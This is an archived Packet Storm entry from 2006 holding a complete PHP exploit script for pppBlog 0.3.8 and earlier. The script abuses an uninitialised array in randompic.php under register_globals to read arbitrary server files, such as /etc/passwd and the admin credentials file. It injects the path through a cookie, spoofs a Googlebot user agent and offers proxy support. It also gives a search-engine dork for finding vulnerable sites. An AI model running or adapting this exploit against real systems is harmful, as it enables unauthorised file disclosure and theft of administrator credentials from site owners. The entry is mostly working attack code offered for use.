pppBlog-0.3.8.txt

2006-06-01T00:00:00
ID PACKETSTORM:46905
Type packetstorm
Reporter rgod
Modified 2006-06-01T00:00:00

Description

                                        
                                            `#!/usr/bin/php -q -d short_open_tag=on  
<?  
echo "pppBlog <= 0.3.8 system disclosure exploit\r\n";  
echo "by rgod rgod@autistici.org\r\n";  
echo "site: http://retrogod.altervista.org\r\n\r\n";  
echo "dork: intext:\"Powered by pppblog\"\r\n\r\n";  
/*  
works with:  
register_globals=On  
*/  
  
if ($argc<4) {  
echo "Usage: php ".$argv[0]." host path path_to_file OPTIONS\r\n";  
echo "host: target server (ip/hostname)\r\n";  
echo "path: path to pppblog\r\n";  
echo "path_to_file: a file which you want to see content of\r\n";  
echo "Options:\r\n";  
echo " -p[port]: specify a port other than 80\r\n";  
echo " -P[ip:port]: specify a proxy\r\n";  
echo "Examples:\r\n";  
echo "php ".$argv[0]." localhost /pppblog/ ../../../../../../etc/passwd\r\n";  
echo "php ".$argv[0]." localhost /pppblog/ ../config/admin.php -p81\r\n";  
echo "php ".$argv[0]." localhost / ../config/admin.php -P1.1.1.1:80\r\n\r\n";  
die;  
}  
/* software site: http://joerg.jo.funpic.org/pppblog/static.php?page=welcome  
  
vulnerable code in randompic.php at lines 66-68:  
...  
header("Content-Type: image/gif");  
header("Content-Transfer-Encoding: binary");  
readfile("$dir/$files[$randnum]");  
...  
  
if randompic.php is called directly, without arguments, $files array is  
not initialized, so , if register_globals = On, you can see all  
files on target server, according to open_basedir restrictions, poc:  
  
http://[target]/[path]/randompic.php?files[0]=../config/admin.php  
  
now at screen you have ppp-blog admin username/password pair, crypted by  
crypt() php function  
*/  
  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
function quick_dump($string)  
{  
$result='';$exa='';$cont=0;  
for ($i=0; $i<=strlen($string)-1; $i++)  
{  
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  
{$result.=" .";}  
else  
{$result.=" ".$string[$i];}  
if (strlen(dechex(ord($string[$i])))==2)  
{$exa.=" ".dechex(ord($string[$i]));}  
else  
{$exa.=" 0".dechex(ord($string[$i]));}  
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}  
}  
return $exa."\r\n".$result;  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.$host.':'.$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid proxy...';die;  
}  
$parts=explode(':',$proxy);  
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='') {  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
}  
else {  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
#debug  
#echo "\r\n".$html;  
}  
  
$host=$argv[1];  
$path=$argv[2];  
$path_to_file=$argv[3];  
if (($path[0]<>'/') | ($path[strlen($path)-1]<>'/'))  
{die("Check the path, it must begin and end with a trailing slash\r\n");}  
$port=80;  
$proxy="";  
for ($i=4; $i<=$argc-1; $i++){  
$temp=$argv[$i][0].$argv[$i][1];  
if ($temp=="-p")  
{  
$port=str_replace("-p","",$argv[$i]);  
}  
if ($temp=="-P")  
{  
$proxy=str_replace("-P","",$argv[$i]);  
}  
}  
if ($proxy<>'') {$p="http://".$host.":".$port.$path;} else {$p=$path;}  
  
$packet ="GET ".$p."randompic.php HTTP/1.0\r\n";  
$packet.="User-Agent: Googlebot/2.1\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Cookie: files[0]=".urlencode($path_to_file)."\r\n"; //through cookies, log this :)  
$packet.="Connection: Close\r\n\r\n";  
#debug  
#echo quick_dump($packet);  
sendpacketii($packet);  
echo $html;  
?>  
  
original url: http://retrogod.altervista.org/pppblog_038_xpl.html  
`